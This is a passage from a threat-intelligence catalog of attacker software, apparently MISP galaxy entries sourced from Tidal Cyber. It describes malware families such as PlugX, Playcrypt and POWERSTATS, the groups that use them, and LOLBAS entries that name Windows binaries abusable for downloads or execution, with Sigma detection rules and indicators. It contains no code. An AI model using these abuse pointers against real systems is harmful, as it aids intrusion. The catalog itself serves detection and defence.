[PLAINTEE](https://app.tidalcyber.com/software/9445f18a-a796-447a-a35f-94a9fb72411c) is a malware sample that has been used by [Rancor](https://app.tidalcyber.com/groups/021b3c71-6467-4e46-a413-8b726f066f2c) in targeted attacks in Singapore and Cambodia. ^{[[Rancor Unit42 June 2018](https://app.tidalcyber.com/references/45098a85-a61f-491a-a549-f62b02dc2ecd)]}

The tag is: *misp-galaxy:software="PLAINTEE"*

Playcrypt

[Playcrypt](https://app.tidalcyber.com/software/2d3d6034-21f7-5211-ab8a-338dada7082f) is a ransomware that has been used by [Play](https://app.tidalcyber.com/groups/60f686d0-ae3d-5662-

af32-119217dee2a7) since at least 2022 in attacks against against the business, government, critical infrastructure, healthcare, and media sectors in North America, South America, and Europe. [Playcrypt](https://app.tidalcyber.com/software/2d3d6034-21f7-5211-ab8a-338dada7082f) derives its name from adding the .play extension to encrypted files and has overlap with tactics and tools associated with Hive and Nokoyawa ransomware and infrastructure associated with Quantum ransomware.^{[[Microsoft PlayCrypt August 2022](https://app.tidalcyber.com/references/af4a38bc-32d5-5eab-a13a-0f3533beedb1)]}^{[[CISA Play Ransomware Advisory December 2023](https://app.tidalcyber.com/references/b47f5430-25d4-5502-9219-674daed4e2c5)]}^{[[Trend Micro Ransomware Spotlight Play July 2023](https://app.tidalcyber.com/references/399eac4c-5638-595c-9ee6-997dcd2d47c3)]}

The tag is: *misp-galaxy:software="Playcrypt"*

Playcrypt (ESXi variant)

The ESXi variant of Playcrypt (AKA Play ransomware), a malware associated with the Play ransomware actor group active since at least 2022.^{[[U.S. CISA Play Ransomware December 2023](/references/ad96148c-8230-4923-86fd-4b1da211db1a)]}

The tag is: *misp-galaxy:software="Playcrypt (ESXi variant)"*

PLEAD

[PLEAD](https://app.tidalcyber.com/software/9a890a85-afbe-4c35-a3e7-1adad481bdf7) is a remote access tool (RAT) and downloader used by [BlackTech](https://app.tidalcyber.com/groups/528ab2ea-b8f1-44d8-8831-2a89fefd97cb) in targeted attacks in East Asia including Taiwan, Japan, and Hong Kong.^{[[TrendMicro BlackTech June 2017](https://app.tidalcyber.com/references/abb9cb19-d30e-4048-b106-eb29a6dad7fc)]}^{[[JPCert PLEAD Downloader June 2018](https://app.tidalcyber.com/references/871f4af2-ed99-4256-a74d-b8c0816a82ab)]} [PLEAD](https://app.tidalcyber.com/software/9a890a85-afbe-4c35-a3e7-1adad481bdf7) has also been referred to as [TSCookie](https://app.tidalcyber.com/software/9872ab5a-c76e-4404-91f9-5b745722443b), though more recent reporting indicates likely separation between the two. [PLEAD](https://app.tidalcyber.com/software/9a890a85-afbe-4c35-a3e7-1adad481bdf7) was observed in use as early as March 2017.^{[[JPCert TSCookie March 2018](https://app.tidalcyber.com/references/ff1717f7-0d2e-4947-87d7-44576affe9f8)]}^{[[JPCert PLEAD Downloader June 2018](https://app.tidalcyber.com/references/871f4af2-ed99-4256-a74d-b8c0816a82ab)]}

The tag is: *misp-galaxy:software="PLEAD"*

Plink

Plink is a tool used to automate Secure Shell (SSH) actions on Windows.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Plink"*

PlugX

[PlugX](https://app.tidalcyber.com/software/070b56f4-7810-4dad-b85f-bdfce9c08c10) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.^{[[Lastline PlugX Analysis](https://app.tidalcyber.com/references/9f7fa262-cede-4f47-94ca-1534c65c86e2)]}^{[[FireEye Clandestine Fox Part 2](https://app.tidalcyber.com/references/82500741-984d-4039-8f53-b303845c2849)]}^{[[New DragonOK](https://app.tidalcyber.com/references/82c1ed0d-a41d-4212-a3ae-a1d661bede2d)]}^{[[Dell TG-3390](https://app.tidalcyber.com/references/dfd2d832-a6c5-40e7-a554-5a92f05bebae)]}

The tag is: *misp-galaxy:software="PlugX"*

pngdowner

[pngdowner](https://app.tidalcyber.com/software/95c273d2-3081-4cb5-8d41-37eb4e90264d) is malware used by [Putter Panda](https://app.tidalcyber.com/groups/6005f4a9-fe26-4237-a44e-3f6cbb1fe75c). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and- execute" utility. ^{[[CrowdStrike Putter Panda](https://app.tidalcyber.com/references/413962d0-bd66-4000-a077-38c2677995d1)]}

The tag is: *misp-galaxy:software="pngdowner"*

Pnputil

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used for installing drivers

Author: Hai vaknin (lux)

Paths: * C:\Windows\system32\pnputil.exe

Resources: None Provided

Detection: * Sigma: [proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml]([Pnputil.exe - LOLBAS Project(/references/21d0419a-5454-4808-b7e6-2b1b9de08ed6)]</sup>

The tag is: *misp-galaxy:software="Pnputil"*

PoetRAT

[PoetRAT](https://app.tidalcyber.com/software/79b4f277-3b18-4aa7-9f96-44b35b23166b) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://app.tidalcyber.com/software/79b4f277-3b18-4aa7-9f96-44b35b23166b) has been used in multiple campaigns against the

private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://app.tidalcyber.com/software/79b4f277-3b18-4aa7-9f96-44b35b23166b) derived its name from references in the code to poet William Shakespeare. ^{[[Talos PoetRAT April 2020](https://app.tidalcyber.com/references/fe2a79a5-bc50-4147-b919-f3d0eb7430b6)]}^{[[Talos PoetRAT October 2020](https://app.tidalcyber.com/references/5862c90a-3bae-48d0-8749-9a6510fe3630)]}^{[[Dragos Threat Report 2020](https://app.tidalcyber.com/references/8bb3147c-3178-4449-9978-f1248b1bcb0a)]}

The tag is: *misp-galaxy:software="PoetRAT"*

PoisonIvy

[PoisonIvy](https://app.tidalcyber.com/software/1d87a695-7989-49ae-ac1a-b6601db565c3) is a popular remote access tool (RAT) that has been used by many groups.^{[[FireEye Poison Ivy](https://app.tidalcyber.com/references/c189447e-a903-4dc2-a38b-1f4accc64e20)]}^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]}^{[[Symantec Darkmoon Aug 2005](https://app.tidalcyber.com/references/7088234d-a6fc-49ad-b4fd-2fe8ca333c1d)]}

The tag is: *misp-galaxy:software="PoisonIvy"*

PolyglotDuke

[PolyglotDuke](https://app.tidalcyber.com/software/3b7179fa-7b8b-4068-b224-d8d9c642964d) is a downloader that has been used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least 2013. [PolyglotDuke](https://app.tidalcyber.com/software/3b7179fa-7b8b-4068-b224-d8d9c642964d) has been used to drop [MiniDuke]([ESET Dukes October 2019(https://app.tidalcyber.com/references/fbc77b85-cc5a-4c65-956d-b8556974b4ef)]</sup>

The tag is: *misp-galaxy:software="PolyglotDuke"*

Pony

[Pony](https://app.tidalcyber.com/software/555b612e-3f0d-421d-b2a7-63eb2d1ece5f) is a credential stealing malware, though has also been used among adversaries for its downloader capabilities. The source code for Pony Loader 1.0 and 2.0 were leaked online, leading to their use by various threat actors.^{[[Malwarebytes Pony April 2016](https://app.tidalcyber.com/references/f8700002-5da6-4cb8-be62-34e421d2a573)]}

The tag is: *misp-galaxy:software="Pony"*

POORAIM

[POORAIM](https://app.tidalcyber.com/software/1353d695-5bae-4593-988f-9bd07a6fd1bb) is a backdoor used by [APT37](https://app.tidalcyber.com/groups/013fdfdc-aa32-4779-8f6e-7920615cbf66) in campaigns since at least 2014. <sup>[[FireEye APT37 Feb

2018](https://app.tidalcyber.com/references/4d575c1a-4ff9-49ce-97cd-f9d0637c2271)]</sup>

The tag is: *misp-galaxy:software="POORAIM"*

POORTRY

POORTRY is a malicious kernel driver known to be used by multiple ransomware groups for defense evasion purposes, typically in conjunction with a related loader capability, STONESTOP. POORTRY abuses or falsifies certificates to evade code signing processes. Since being discovered and disclosed in 2022, POORTRY has evolved its focus from disabling security software to actually removing critical software components from victim disks.^{[[Sophos News August 27 2024](/references/af1dfc7b-fdc2-448f-a4bf-34f8ee7d55bc)]}

The tag is: *misp-galaxy:software="POORTRY"*

PoshC2

[PoshC2](https://app.tidalcyber.com/software/a3a03835-79bf-4558-8e80-7983aeb842fb) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde). Although [PoshC2](https://app.tidalcyber.com/software/a3a03835-79bf-4558-8e80-7983aeb842fb) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.^{[[GitHub PoshC2](https://app.tidalcyber.com/references/45e79c0e-a2f6-4b56-b621-4142756bd1b1)]}

The tag is: *misp-galaxy:software="PoshC2"*

POSHSPY

[POSHSPY](https://app.tidalcyber.com/software/b92f28c4-cbc8-4721-ac79-2d8bdf5247e5) is a backdoor that has been used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. ^{[[FireEye POSHSPY April 2017](https://app.tidalcyber.com/references/b1271e05-80d7-4761-a13f-b6f0db7d7e5a)]}

The tag is: *misp-galaxy:software="POSHSPY"*

PowerDuke

[PowerDuke](https://app.tidalcyber.com/software/d9e4f4a1-dd41-424e-986a-b9a39ebea805) is a backdoor that was used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. ^{[[Volexity PowerDuke November 2016](https://app.tidalcyber.com/references/4026c055-6020-41bb-a4c8-54b308867023)]}

The tag is: *misp-galaxy:software="PowerDuke"*

PowerExchange

[PowerExchange](https://app.tidalcyber.com/software/7bea0cbb-83af-56e5-a88e-e450b8364d63) is a PowerShell backdoor that has been used by [OilRig](https://app.tidalcyber.com/groups/d01abdb1-0378-4654-aa38-1a4a292703e2) since at least 2023 including against government targets in the Middle East.^{[[Symantec Crambus OCT 2023](https://app.tidalcyber.com/references/ecfdd6e1-caa0-5611-a1f5-d96873cf2222)]}

The tag is: *misp-galaxy:software="PowerExchange"*

PowerLess

[PowerLess](https://app.tidalcyber.com/software/8b9159c1-db48-472b-9897-34325da5dca7) is a PowerShell-based modular backdoor that has been used by [Magic Hound](https://app.tidalcyber.com/groups/7a9d653c-8812-4b96-81d1-b0a27ca918b4) since at least 2022.^{[[Cybereason PowerLess February 2022](https://app.tidalcyber.com/references/095aaa25-b674-4313-bc4f-3227b00c0459)]}

The tag is: *misp-galaxy:software="PowerLess"*

Power Loader

[Power Loader](https://app.tidalcyber.com/software/018ee1d9-35af-49dc-a667-11b77cd76f46) is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. ^{[[MalwareTech Power Loader Aug 2013](https://app.tidalcyber.com/references/9a9a6ca1-d7c5-4385-924b-cdeffd66602e)]} ^{[[WeLiveSecurity Gapz and Redyms Mar 2013](https://app.tidalcyber.com/references/b8d328b7-2eb3-4851-8d44-2e1bad7710c2)]}

The tag is: *misp-galaxy:software="Power Loader"*

Powerpnt

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Office binary.

Author: Reegun J (OCBC Bank)

Paths: * C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Powerpnt.exe * C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Powerpnt.exe * C:\Program Files (x86)\Microsoft Office\Office16\Powerpnt.exe * C:\Program Files\Microsoft Office\Office16\Powerpnt.exe * C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Powerpnt.exe * C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Powerpnt.exe * C:\Program Files (x86)\Microsoft

Office\Office15\Powerpnt.exe * C:\Program Files\Microsoft Office\Office15\Powerpnt.exe * C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Powerpnt.exe * C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Powerpnt.exe * C:\Program Files (x86)\Microsoft Office\Office14\Powerpnt.exe * C:\Program Files\Microsoft Office\Office14\Powerpnt.exe * C:\Program Files (x86)\Microsoft Office\Office12\Powerpnt.exe * C:\Program Files\Microsoft Office\Office12\Powerpnt.exe * C:\Program Files\Microsoft Office\Office12\Powerpnt.exe

Resources: * https://twitter.com/reegun21/status/1150032506504151040 * https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191

Detection: * Sigma: [proc_creation_win_lolbin_office.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_office.yml) * IOC: Suspicious Office application Internet/network traffic^{[[Powerpnt.exe - LOLBAS Project](/references/23c48ab3-9426-4949-9a35-d1b9ecb4bb47)]}

The tag is: *misp-galaxy:software="Powerpnt"*

PowerPunch

[PowerPunch](https://app.tidalcyber.com/software/e7cdaf70-5e28-442a-b34d-894484788dc5) is a lightweight downloader that has been used by [Gamaredon Group](https://app.tidalcyber.com/groups/41e8b4a4-2d31-46ee-bc56-12375084d067) since at least 2021.^{[[Microsoft Actinium February 2022](https://app.tidalcyber.com/references/5ab658db-7f71-4213-8146-e22da54160b3)]}

The tag is: *misp-galaxy:software="PowerPunch"*

PowerShell

Microsoft's powershell scripting language is available by default from Windows 7 upwards and therefore provides stealth with that environment for launching attacks. Further, powershell has been made open-source and cross-platform with the advent of 'powershell core' in 2016.

PowerShell provides full access to all Windows services including Microsoft COM (Component Object Model) and Microsoft Windows Management Instrumentation (WMI), while add-ins can easily be imported to include functionality for managing Active Directory, Exchange, etc.

Some other features that make powershell an interesting choice for attackers include: - Ability to run code directly in memory with ease - Flexibility to encode elements of a script in a multitude of ways - Full access to the Microsoft .Net framework - Ability to re-create the powershell framework binary using .Net framework dll's. - Logging and detecting behavior is difficult in older versions - Availability of a number of quality attack frameworks written in powershell.^{[[MicrosoftLearn October 30 2024](/references/45d44067-251a-4609-941f-66078b89fd0c)]}

The tag is: *misp-galaxy:software="PowerShell"*

PowerShower

[PowerShower](https://app.tidalcyber.com/software/2ca245de-77a9-4857-ba93-fd0d6988df9d) is a PowerShell backdoor used by [Inception](https://app.tidalcyber.com/groups/d7c58e7f-f0b0-44c6-b205-5adcfb56f0e6) for initial reconnaissance and to download and execute second stage payloads.^{[[Unit 42 Inception November 2018](https://app.tidalcyber.com/references/5cb98fce-f386-4878-b69c-5c6440ad689c)]}^{[[Kaspersky Cloud Atlas August 2019](https://app.tidalcyber.com/references/4c3ae600-0787-4847-b528-ae3e8ff1b5ef)]}

The tag is: *misp-galaxy:software="PowerShower"*

POWERSOURCE

[POWERSOURCE](https://app.tidalcyber.com/software/a4700431-6578-489f-9782-52e394277296) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. ^{[[FireEye FIN7 March 2017](https://app.tidalcyber.com/references/7987bb91-ec41-42f8-bd2d-dabc26509a08)]} ^{[[Cisco DNSMessenger March 2017](https://app.tidalcyber.com/references/49f22ba2-5aca-4204-858e-c2499a7050ae)]}

The tag is: *misp-galaxy:software="POWERSOURCE"*

PowerSploit

[PowerSploit](https://app.tidalcyber.com/software/82fad10d-c921-4a87-a533-49def83d002b) is an open source, offensive security framework comprised of [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. ^{[[GitHub PowerSploit May 2012](https://app.tidalcyber.com/references/ec3edb54-9f1b-401d-a265-cd8924e5cb2b)]} ^{[[PowerShellMagazine PowerSploit July 2014](https://app.tidalcyber.com/references/7765d4f7-bf2d-43b9-a87e-74114a092645)]} ^{[[PowerSploit Documentation](https://app.tidalcyber.com/references/56628e55-94cd-4c5e-8f5a-34ffb7a45174)]}

The tag is: *misp-galaxy:software="PowerSploit"*

PowerStallion

[PowerStallion](https://app.tidalcyber.com/software/837bcf97-37a7-4001-a466-306574fd7890) is a lightweight [PowerShell](https://app.tidalcyber.com/technique/6ca7838a-e8ad-43e8-9da6-15b640d1cbde) backdoor used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2), possibly as a recovery access tool to install other backdoors.^{[[ESET Turla PowerShell May 2019](https://app.tidalcyber.com/references/68c0f34b-691a-4847-8d49-f18b7f4e5188)]}

The tag is: *misp-galaxy:software="PowerStallion"*

POWERSTATS

[POWERSTATS](https://app.tidalcyber.com/software/39fc59c6-f1aa-4c93-8e43-1f41563e9d9e) is a PowerShell-based first stage backdoor used by [MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6). ^{[[Unit 42 MuddyWater Nov 2017](https://app.tidalcyber.com/references/dcdee265-2e46-4f40-95c7-6a2683edb23a)]}

The tag is: *misp-galaxy:software="POWERSTATS"*

POWERTON

[POWERTON](https://app.tidalcyber.com/software/b3c28750-3825-4e4d-ab92-f39a6b0827dd) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://app.tidalcyber.com/groups/99bbbe25-45af-492f-a7ff-7cbc57828bac). At least two variants of the backdoor have been identified, with the later version containing improved functionality.^{[[FireEye APT33 Guardrail](https://app.tidalcyber.com/references/4b4c9e72-eee1-4fa4-8dcb-501ec49882b0)]}

The tag is: *misp-galaxy:software="POWERTON"*

PowerTool

PowerTool is a tool used to remove rootkits, as well as to detect, analyze, and fix kernel structure modifications.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="PowerTool"*

POWERTRASH

A PowerShell-based, in-memory loader that executes embedded payloads.^{[[Mandiant FIN7 April 4 2022](/references/fbc3ea90-d3d4-440e-964d-6cd2e991df0c)]} According to Mandiant, POWERTRASH is a "uniquely obfuscated" version of PowerSploit's `Invoke-Shellcode.ps1` shellcode invoker module known to be used by FIN7.^{[[GitHub - PowerSploit Invoke-Shellcode](/references/cf75a442-c6c0-4e83-87bf-8bb42839452b)]}

The tag is: *misp-galaxy:software="POWERTRASH"*

PowGoop

[PowGoop](https://app.tidalcyber.com/software/7ed984bb-d098-4d0a-90fd-b03e68842479) is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by [MuddyWater](https://app.tidalcyber.com/groups/dcb260d8-9d53-404f-9ff5-dbee2c6effe6) as their main loader.^{[[DHS CISA AA22-055A MuddyWater February 2022](https://app.tidalcyber.com/references/e76570e1-43ab-4819-80bc-895ede67a205)]}<sup>[[CYBERCOM Iranian Intel Cyber

January 2022](https://app.tidalcyber.com/references/671e1559-c7dc-4cb4-a9a1-21776f2ae56a)]</sup>

The tag is: *misp-galaxy:software="PowGoop"*

POWRUNER

[POWRUNER](https://app.tidalcyber.com/software/67cdb7a6-5142-43fa-8b8d-d9bdd2a4dae4) is a PowerShell script that sends and receives commands to and from the C2 server. ^{[[FireEye APT34 Dec 2017](https://app.tidalcyber.com/references/88f41728-08ad-4cd8-a418-895738d68b04)]}

The tag is: *misp-galaxy:software="POWRUNER"*

Presentationhost

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: File is used for executing Browser applications

Author: Oddvar Moe

Paths: * C:\Windows\System32\Presentationhost.exe * C:\Windows\SysWOW64\Presentationhost.exe

Resources: * https://github.com/api0cradle/ShmooCon-2015/blob/master/ShmooCon-2015-Simple-WLEvasion.pdf * https://oddvar.moe/2017/12/21/applocker-case-study-how-insecure-is-it-really-part-2/

Detection: * Sigma: [proc_creation_win_lolbin_presentationhost_download.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost_download.yml) * Sigma: [proc_creation_win_lolbin_presentationhost.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_presentationhost.yml) * IOC: Execution of .xbap files may not be common on production workstations^{[[Presentationhost.exe - LOLBAS Project](/references/37539e72-18f5-435a-a949-f9fa5991149a)]}

The tag is: *misp-galaxy:software="Presentationhost"*

Prestige

[Prestige](https://app.tidalcyber.com/software/4fb5b109-5a5c-5441-a0f9-f639ead5405e) ransomware has been used by [Sandworm Team](https://app.tidalcyber.com/groups/16a65ee9-cd60-4f04-ba34-

f2f45fcfc666) since at least March 2022, including against transportation and related logistics industries in Ukraine and Poland in October 2022.^{[[Microsoft Prestige ransomware October 2022](https://app.tidalcyber.com/references/b57e1181-461b-5ada-a739-873ede1ec079)]}

The tag is: *misp-galaxy:software="Prestige"*

Prikormka

[Prikormka](https://app.tidalcyber.com/software/1da989a8-41cc-4e89-a435-a88acb72ae0d) is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. ^{[[ESET Operation Groundbait](https://app.tidalcyber.com/references/218e69fd-558c-459b-9a57-ad2ee3e96296)]}

The tag is: *misp-galaxy:software="Prikormka"*

Print

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows to send files to the printer

Author: Oddvar Moe

Paths: * C:\Windows\System32\print.exe * C:\Windows\SysWOW64\print.exe

Resources: * https://twitter.com/Oddvarmoe/status/985518877076541440 * https://www.youtube.com/watch?v=nPBcSP8M7KE&lc=z22fg1cbdkabdf3x404t1aokgwd2zxasf2j3rbozrswnrk0h00410

Detection: * Sigma: [proc_creation_win_print_remote_file_copy.yml](https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_print_remote_file_copy.yml) * IOC: Print.exe retrieving files from internet * IOC: Print.exe creating executable files on disk^{[[Print.exe - LOLBAS Project](/references/696ce89a-b3a1-4993-b30d-33a669a57031)]}

The tag is: *misp-galaxy:software="Print"*

PrintBrm

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Printer Migration Command-Line Tool

Author: Elliot Killick

Paths: * C:\Windows\System32\spool\tools\PrintBrm.exe

Resources: * https://twitter.com/elliotkillick/status/1404117015447670800

Detection: * Sigma: [proc_creation_win_lolbin_printbrm.yml](https://github.com/SigmaHQ/sigma/blob/35a7244c62820fbc5a832e50b1e224ac3a1935da/rules/windows/process_creation/proc_creation_win_lolbin_printbrm.yml) * IOC: PrintBrm.exe should not be run on a normal workstation^{[[PrintBrm.exe - LOLBAS Project](/references/a7ab6f09-c22f-4627-afb1-c13a963efca5)]}

The tag is: *misp-galaxy:software="PrintBrm"*

printf

The printf command in Linux is used to display the given string, number or any other format specifier on the terminal window. It works the same way as “printf” works in programming languages like C.^{[[GeeksforGeeks January 16 2019](/references/2d11fec2-7065-4744-ab4e-9e3f4a0da564)]}

The tag is: *misp-galaxy:software="printf"*

ProcDump

ProcDump is a tool used to monitor applications for CPU spikes and generate crash dumps.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="ProcDump"*

Process Hacker

Process Hacker is a tool used to remove rootkits.^{[[U.S. CISA Understanding LockBit June 2023](/references/9c03b801-2ebe-4c7b-aa29-1b7a3625964a)]}

The tag is: *misp-galaxy:software="Process Hacker"*

ProLock

[ProLock](https://app.tidalcyber.com/software/c8af096e-c71e-4751-b203-70c285b7a7bd) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://app.tidalcyber.com/software/9050b418-5ffd-481a-a30d-f9059b0871ea). [ProLock](https://app.tidalcyber.com/software/c8af096e-c71e-4751-b203-70c285b7a7bd) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.^{[[Group IB Ransomware September 2020](https://app.tidalcyber.com/references/52d0e16f-9a20-442f-9a17-686e51d7e32b)]}

The tag is: *misp-galaxy:software="ProLock"*

ProtocolHandler

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Office binary

Author: Nir Chako

Paths: * C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\ProtocolHandler.exe * C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\ProtocolHandler.exe * C:\Program Files (x86)\Microsoft Office\Office16\ProtocolHandler.exe * C:\Program Files\Microsoft Office\Office16\ProtocolHandler.exe * C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\ProtocolHandler.exe * C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\ProtocolHandler.exe * C:\Program Files (x86)\Microsoft Office\Office15\ProtocolHandler.exe * C:\Program Files\Microsoft Office\Office15\ProtocolHandler.exe

Resources: None Provided

Detection: * Sigma: [proc_creation_win_lolbin_protocolhandler_download.yml](https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_lolbin_protocolhandler_download.yml) * IOC: Suspicious Office application Internet/network traffic^{[[ProtocolHandler.exe - LOLBAS Project](/references/1f678111-dfa3-4c06-9359-816b9ca12cd0)]}

The tag is: *misp-galaxy:software="ProtocolHandler"*

Proton

[Proton](https://app.tidalcyber.com/software/d3bcdbc4-5998-4e50-bd45-cba6a3278427) is a macOS backdoor focusing on data theft and credential access ^{[[objsee mac malware 2017](https://app.tidalcyber.com/references/08227ae5-4086-4c31-83d9-459c3a097754)]}.

The tag is: *misp-galaxy:software="Proton"*

Provlaunch

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Launcher process

Author: Grzegorz Tworek

Paths: * c:\windows\system32\provlaunch.exe

Resources: * https://twitter.com/0gtweet/status/1674399582162153472

Detection: * Sigma: [proc_creation_win_provlaunch_potential_abuse.yml](https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/process_creation/proc_creation_win_provlaunch_potential_abuse.yml) * Sigma: [proc_creation_win_provlaunch_susp_child_process.yml](https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/process_creation/proc_creation_win_provlaunch_susp_child_process.yml) * Sigma: [proc_creation_win_registry_provlaunch_provisioning_command.yml](https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/process_creation/proc_creation_win_registry_provlaunch_provisioning_command.yml) * Sigma: [registry_set_provisioning_command_abuse.yml](https://github.com/SigmaHQ/sigma/blob/9cb124f841c4358ca859e8474d6e7bb5268284a2/rules/windows/registry/registry_set/registry_set_provisioning_command_abuse.yml) * IOC: c:\windows\system32\provlaunch.exe executions * IOC: Creation/existence of HKLM\SOFTWARE\Microsoft\Provisioning\Commands subkeys^{[[Provlaunch.exe - LOLBAS Project](/references/56a57369-4707-4dff-ad23-431109f24233)]}

The tag is: *misp-galaxy:software="Provlaunch"*

ProxyChains

According to joint Cybersecurity Advisory AA24-249A (September 2024), ProxyChains is "a tool used to route internal traffic through a series of proxies". It has been abused by adversaries including Unit 29155 Russian military cyber actors.^{[[U.S. CISA Unit 29155 September 5 2024](/references/9631a46d-3e0a-4f25-962b-0b2501c47926)]}

The tag is: *misp-galaxy:software="ProxyChains"*

Proxysvc

[Proxysvc](https://app.tidalcyber.com/software/94f43629-243e-49dc-8c2b-cdf4fc15cf83) is a malicious DLL used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://app.tidalcyber.com/software/94f43629-243e-49dc-8c2b-cdf4fc15cf83) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. ^{[[McAfee GhostSecret](https://app.tidalcyber.com/references/d1cd4f5b-253c-4833-8905-49fb58e7c016)]}

The tag is: *misp-galaxy:software="Proxysvc"*

PS1

